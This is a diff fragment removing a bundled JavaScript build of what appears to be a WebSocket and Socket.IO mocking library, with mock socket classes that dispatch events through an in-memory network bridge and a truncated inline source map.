-function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
-
-function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
-
-function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
-
-var _urijs = require('urijs');
-
-var _urijs2 = _interopRequireDefault(_urijs);
-
-var _helpersDelay = require('./helpers/delay');
-
-var _helpersDelay2 = _interopRequireDefault(_helpersDelay);
-
-var _eventTarget = require('./event-target');
-
-var _eventTarget2 = _interopRequireDefault(_eventTarget);
-
-var _networkBridge = require('./network-bridge');
-
-var _networkBridge2 = _interopRequireDefault(_networkBridge);
-
-var _helpersCloseCodes = require('./helpers/close-codes');
-
-var _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);
-
-var _eventFactory = require('./event-factory');
-
-/*
-* The socket-io class is designed to mimick the real API as closely as possible.
-*
-* http://socket.io/docs/
-*/
-
-var SocketIO = (function (_EventTarget) {
-  _inherits(SocketIO, _EventTarget);
-
-  /*
-  * @param {string} url
-  */
-
-  function SocketIO() {
-    var _this = this;
-
-    var url = arguments.length <= 0 || arguments[0] === undefined ? 'socket.io' : arguments[0];
-    var protocol = arguments.length <= 1 || arguments[1] === undefined ? '' : arguments[1];
-
-    _classCallCheck(this, SocketIO);
-
-    _get(Object.getPrototypeOf(SocketIO.prototype), 'constructor', this).call(this);
-
-    this.binaryType = 'blob';
-    this.url = (0, _urijs2['default'])(url).toString();
-    this.readyState = SocketIO.CONNECTING;
-    this.protocol = '';
-
-    if (typeof protocol === 'string') {
-      this.protocol = protocol;
-    } else if (Array.isArray(protocol) && protocol.length > 0) {
-      this.protocol = protocol[0];
-    }
-
-    var server = _networkBridge2['default'].attachWebSocket(this, this.url);
-
-    /*
-    * Delay triggering the connection events so they can be defined in time.
-    */
-    (0, _helpersDelay2['default'])(function delayCallback() {
-      if (server) {
-        this.readyState = SocketIO.OPEN;
-        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connection' }), server, this);
-        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connect' }), server, this); // alias
-        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connect', target: this }));
-      } else {
-        this.readyState = SocketIO.CLOSED;
-        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error', target: this }));
-        this.dispatchEvent((0, _eventFactory.createCloseEvent)({
-          type: 'close',
-          target: this,
-          code: _helpersCloseCodes2['default'].CLOSE_NORMAL
-        }));
-
-        console.error('Socket.io connection to \'' + this.url + '\' failed');
-      }
-    }, this);
-
-    /**
-      Add an aliased event listener for close / disconnect
-     */
-    this.addEventListener('close', function (event) {
-      _this.dispatchEvent((0, _eventFactory.createCloseEvent)({
-        type: 'disconnect',
-        target: event.target,
-        code: event.code
-      }));
-    });
-  }
-
-  /*
-  * Closes the SocketIO connection or connection attempt, if any.
-  * If the connection is already CLOSED, this method does nothing.
-  */
-
-  _createClass(SocketIO, [{
-    key: 'close',
-    value: function close() {
-      if (this.readyState !== SocketIO.OPEN) {
-        return undefined;
-      }
-
-      var server = _networkBridge2['default'].serverLookup(this.url);
-      _networkBridge2['default'].removeWebSocket(this, this.url);
-
-      this.readyState = SocketIO.CLOSED;
-      this.dispatchEvent((0, _eventFactory.createCloseEvent)({
-        type: 'close',
-        target: this,
-        code: _helpersCloseCodes2['default'].CLOSE_NORMAL
-      }));
-
-      if (server) {
-        server.dispatchEvent((0, _eventFactory.createCloseEvent)({
-          type: 'disconnect',
-          target: this,
-          code: _helpersCloseCodes2['default'].CLOSE_NORMAL
-        }), server);
-      }
-    }
-
-    /*
-    * Alias for Socket#close
-    *
-    * https://github.com/socketio/socket.io-client/blob/master/lib/socket.js#L383
-    */
-  }, {
-    key: 'disconnect',
-    value: function disconnect() {
-      this.close();
-    }
-
-    /*
-    * Submits an event to the server with a payload
-    */
-  }, {
-    key: 'emit',
-    value: function emit(event, data) {
-      if (this.readyState !== SocketIO.OPEN) {
-        throw new Error('SocketIO is already in CLOSING or CLOSED state');
-      }
-
-      var messageEvent = (0, _eventFactory.createMessageEvent)({
-        type: event,
-        origin: this.url,
-        data: data
-      });
-
-      var server = _networkBridge2['default'].serverLookup(this.url);
-
-      if (server) {
-        server.dispatchEvent(messageEvent, data);
-      }
-    }
-
-    /*
-    * Submits a 'message' event to the server.
-    *
-    * Should behave exactly like WebSocket#send
-    *
-    * https://github.com/socketio/socket.io-client/blob/master/lib/socket.js#L113
-    */
-  }, {
-    key: 'send',
-    value: function send(data) {
-      this.emit('message', data);
-    }
-
-    /*
-    * For registering events to be received from the server
-    */
-  }, {
-    key: 'on',
-    value: function on(type, callback) {
-      this.addEventListener(type, callback);
-    }
-
-    /*
-     * Join a room on a server
-     *
-     * http://socket.io/docs/rooms-and-namespaces/#joining-and-leaving
-     */
-  }, {
-    key: 'join',
-    value: function join(room) {
-      _networkBridge2['default'].addMembershipToRoom(this, room);
-    }
-
-    /*
-     * Get the websocket to leave the room
-     *
-     * http://socket.io/docs/rooms-and-namespaces/#joining-and-leaving
-     */
-  }, {
-    key: 'leave',
-    value: function leave(room) {
-      _networkBridge2['default'].removeMembershipFromRoom(this, room);
-    }
-
-    /*
-     * Invokes all listener functions that are listening to the given event.type property. Each
-     * listener will be passed the event as the first argument.
-     *
-     * @param {object} event - event object which will be passed to all listeners of the event.type property
-     */
-  }, {
-    key: 'dispatchEvent',
-    value: function dispatchEvent(event) {
-      var _this2 = this;
-
-      for (var _len = arguments.length, customArguments = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
-        customArguments[_key - 1] = arguments[_key];
-      }
-
-      var eventName = event.type;
-      var listeners = this.listeners[eventName];
-
-      if (!Array.isArray(listeners)) {
-        return false;
-      }
-
-      listeners.forEach(function (listener) {
-        if (customArguments.length > 0) {
-          listener.apply(_this2, customArguments);
-        } else {
-          // Regular WebSockets expect a MessageEvent but Socketio.io just wants raw data
-          //  payload instanceof MessageEvent works, but you can't isntance of NodeEvent
-          //  for now we detect if the output has data defined on it
-          listener.call(_this2, event.data ? event.data : event);
-        }
-      });
-    }
-  }]);
-
-  return SocketIO;
-})(_eventTarget2['default']);
-
-SocketIO.CONNECTING = 0;
-SocketIO.OPEN = 1;
-SocketIO.CLOSING = 2;
-SocketIO.CLOSED = 3;
-
-/*
-* Static constructor methods for the IO Socket
-*/
-var IO = function ioConstructor(url) {
-  return new SocketIO(url);
-};
-
-/*
-* Alias the raw IO() constructor
-*/
-IO.connect = function ioConnect(url) {
-  /* eslint-disable new-cap */
-  return IO(url);
-  /* eslint-enable new-cap */
-};
-
-exports['default'] = IO;
-module.exports = exports['default'];
-},{"./event-factory":5,"./event-target":6,"./helpers/close-codes":8,"./helpers/delay":10,"./network-bridge":15,"urijs":3}],18:[function(require,module,exports){
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
-  value: true
-});
-
-var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
-
-var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
-
-function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
-
-function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
-
-function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
-
-var _urijs = require('urijs');
-
-var _urijs2 = _interopRequireDefault(_urijs);
-
-var _helpersDelay = require('./helpers/delay');
-
-var _helpersDelay2 = _interopRequireDefault(_helpersDelay);
-
-var _eventTarget = require('./event-target');
-
-var _eventTarget2 = _interopRequireDefault(_eventTarget);
-
-var _networkBridge = require('./network-bridge');
-
-var _networkBridge2 = _interopRequireDefault(_networkBridge);
-
-var _helpersCloseCodes = require('./helpers/close-codes');
-
-var _helpersCloseCodes2 = _interopRequireDefault(_helpersCloseCodes);
-
-var _eventFactory = require('./event-factory');
-
-/*
-* The main websocket class which is designed to mimick the native WebSocket class as close
-* as possible.
-*
-* https://developer.mozilla.org/en-US/docs/Web/API/WebSocket
-*/
-
-var WebSocket = (function (_EventTarget) {
-  _inherits(WebSocket, _EventTarget);
-
-  /*
-  * @param {string} url
-  */
-
-  function WebSocket(url) {
-    var protocol = arguments.length <= 1 || arguments[1] === undefined ? '' : arguments[1];
-
-    _classCallCheck(this, WebSocket);
-
-    _get(Object.getPrototypeOf(WebSocket.prototype), 'constructor', this).call(this);
-
-    if (!url) {
-      throw new TypeError('Failed to construct \'WebSocket\': 1 argument required, but only 0 present.');
-    }
-
-    this.binaryType = 'blob';
-    this.url = (0, _urijs2['default'])(url).toString();
-    this.readyState = WebSocket.CONNECTING;
-    this.protocol = '';
-
-    if (typeof protocol === 'string') {
-      this.protocol = protocol;
-    } else if (Array.isArray(protocol) && protocol.length > 0) {
-      this.protocol = protocol[0];
-    }
-
-    /*
-    * In order to capture the callback function we need to define custom setters.
-    * To illustrate:
-    *   mySocket.onopen = function() { alert(true) };
-    *
-    * The only way to capture that function and hold onto it for later is with the
-    * below code:
-    */
-    Object.defineProperties(this, {
-      onopen: {
-        configurable: true,
-        enumerable: true,
-        get: function get() {
-          return this.listeners.open;
-        },
-        set: function set(listener) {
-          this.addEventListener('open', listener);
-        }
-      },
-      onmessage: {
-        configurable: true,
-        enumerable: true,
-        get: function get() {
-          return this.listeners.message;
-        },
-        set: function set(listener) {
-          this.addEventListener('message', listener);
-        }
-      },
-      onclose: {
-        configurable: true,
-        enumerable: true,
-        get: function get() {
-          return this.listeners.close;
-        },
-        set: function set(listener) {
-          this.addEventListener('close', listener);
-        }
-      },
-      onerror: {
-        configurable: true,
-        enumerable: true,
-        get: function get() {
-          return this.listeners.error;
-        },
-        set: function set(listener) {
-          this.addEventListener('error', listener);
-        }
-      }
-    });
-
-    var server = _networkBridge2['default'].attachWebSocket(this, this.url);
-
-    /*
-    * This delay is needed so that we dont trigger an event before the callbacks have been
-    * setup. For example:
-    *
-    * var socket = new WebSocket('ws://localhost');
-    *
-    * // If we dont have the delay then the event would be triggered right here and this is
-    * // before the onopen had a chance to register itself.
-    *
-    * socket.onopen = () => { // this would never be called };
-    *
-    * // and with the delay the event gets triggered here after all of the callbacks have been
-    * // registered :-)
-    */
-    (0, _helpersDelay2['default'])(function delayCallback() {
-      if (server) {
-        this.readyState = WebSocket.OPEN;
-        server.dispatchEvent((0, _eventFactory.createEvent)({ type: 'connection' }), server, this);
-        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'open', target: this }));
-      } else {
-        this.readyState = WebSocket.CLOSED;
-        this.dispatchEvent((0, _eventFactory.createEvent)({ type: 'error', target: this }));
-        this.dispatchEvent((0, _eventFactory.createCloseEvent)({ type: 'close', target: this, code: _helpersCloseCodes2['default'].CLOSE_NORMAL }));
-
-        console.error('WebSocket connection to \'' + this.url + '\' failed');
-      }
-    }, this);
-  }
-
-  /*
-  * Transmits data to the server over the WebSocket connection.
-  *
-  * https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#send()
-  */
-
-  _createClass(WebSocket, [{
-    key: 'send',
-    value: function send(data) {
-      if (this.readyState === WebSocket.CLOSING || this.readyState === WebSocket.CLOSED) {
-        throw new Error('WebSocket is already in CLOSING or CLOSED state');
-      }
-
-      var messageEvent = (0, _eventFactory.createMessageEvent)({
-        type: 'message',
-        origin: this.url,
-        data: data
-      });
-
-      var server = _networkBridge2['default'].serverLookup(this.url);
-
-      if (server) {
-        server.dispatchEvent(messageEvent, data);
-      }
-    }
-
-    /*
-    * Closes the WebSocket connection or connection attempt, if any.
-    * If the connection is already CLOSED, this method does nothing.
-    *
-    * https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#close()
-    */
-  }, {
-    key: 'close',
-    value: function close() {
-      if (this.readyState !== WebSocket.OPEN) {
-        return undefined;
-      }
-
-      var server = _networkBridge2['default'].serverLookup(this.url);
-      var closeEvent = (0, _eventFactory.createCloseEvent)({
-        type: 'close',
-        target: this,
-        code: _helpersCloseCodes2['default'].CLOSE_NORMAL
-      });
-
-      _networkBridge2['default'].removeWebSocket(this, this.url);
-
-      this.readyState = WebSocket.CLOSED;
-      this.dispatchEvent(closeEvent);
-
-      if (server) {
-        server.dispatchEvent(closeEvent, server);
-      }
-    }
-  }]);
-
-  return WebSocket;
-})(_eventTarget2['default']);
-
-WebSocket.CONNECTING = 0;
-WebSocket.OPEN = 1;
-WebSocket.CLOSING = 2;
-WebSocket.CLOSED = 3;
-
-exports['default'] = WebSocket;
-module.exports = exports['default'];
-},{"./event-factory":5,"./event-target":6,"./helpers/close-codes":8,"./helpers/delay":10,"./network-bridge":15,"urijs":3}]},{},[14])
-//# sourceMappingURL=data:application/json;charset:utf-8;base64,{"version":3,"sources":["../../node_modules/browser-pack/_prelude.js","../../node_modules/urijs/src/IPv6.js","../../node_modules/urijs/src/SecondLevelDomains.js","../../node_modules/urijs/src/URI.js","../../node_modules/urijs/src/punycode.js","event-factory.js","event-target.js","helpers/array-helpers.js","helpers/close-codes.js","helpers/close-event.js","helpers/delay.js","helpers/event-prototype.js","helpers/event.js","helpers/message-event.js","main.js","network-bridge.js","server.js","socket-io.js","websocket.js"],"names":[],"mappings":"AAAA;ACAA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;;AC5LA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;;ACjPA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AA